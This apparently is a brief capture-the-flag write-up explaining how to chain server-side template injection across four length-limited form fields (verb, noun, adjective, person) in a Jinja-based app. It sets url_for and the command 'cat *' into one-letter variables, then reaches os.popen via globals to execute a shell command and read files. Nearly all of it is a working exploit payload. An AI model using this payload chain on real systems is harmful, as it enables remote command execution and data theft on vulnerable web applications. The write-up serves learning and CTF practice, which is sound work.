All fields are vulnurable to SSTI injection. But each is limited to maximum length of 21 chars.
The trick I found is to use some of them to set useful references to one letter variables.
Then exploit the {adjective}.{person} to access os popen command:

verb: {%set a=url_for%}

noun: {%set b='cat *'%}

adjective: {{a.globals.os

person: popen(b).read()}}